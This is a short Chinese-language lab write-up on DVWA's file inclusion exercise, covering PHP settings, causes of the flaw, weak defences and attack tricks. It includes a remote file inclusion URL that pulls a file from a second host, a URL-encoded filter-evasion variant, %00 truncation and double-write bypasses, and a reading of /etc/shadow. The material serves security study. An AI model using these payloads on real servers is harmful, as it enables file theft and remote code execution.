DVWA File Inclusion

File Inclusion分为本地文件包含和远程文件包含,远程文件包含是开启了php配置中的allow_url_fopen (选项开启后,服务器允许包含一个远程文件)

相关配置

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.

allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.

allow_url_include = On

; Magic quotes for incoming GET/POST/Cookie data.

magic_quotes_gpc = On

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。最好在编码时不要转义而在运行时根据需要而转义。

1
Warning 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

漏洞成因

  • 服务器开启alow_url_include
  • 参数可控 eg:$file=$_GET[‘page’];
  • 使用php特性函数对于可控的参数进行处理:include(),require(),include_once(),require_once()

防御函数

  • str_replace: 对 http://,../ 等进行替换(删除)
  • fnmatch: 用模式匹配文件
  • 白名单机制防护,基本无法实现攻击

攻击思路

  • 如果存在报错,测试:/etc/shadow等测试系统类型:Windows/Linux
  • 暴露绝对路径或者利用相对路径读取配置文件php.ini等

攻击技巧

  • 在php版本小于5.3.4的服务器中,当Magic_quote_gpc=Off时,可以在文件名中使用%00进行截断(%00后的内容不会被识别),因此可以使用%00绕过某些过滤规则,例如对文件后缀有特殊要求的时候……
  • 远程文件包含时的编码绕过
1
2
http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt
编码绕过:http://192.168.153.130/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%2e%31%32%2f%70%68%70%69%6e%66%6f%2e%74%78%74
  • 针对str_replace的双写绕过,上面的url编码无法绕过str_replace,因为解码是在浏览器端执行的。
  • 针对fnmatch的绕过,借用文件上传漏洞,再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。
坚持原创技术分享,您的支持将鼓励我继续创作!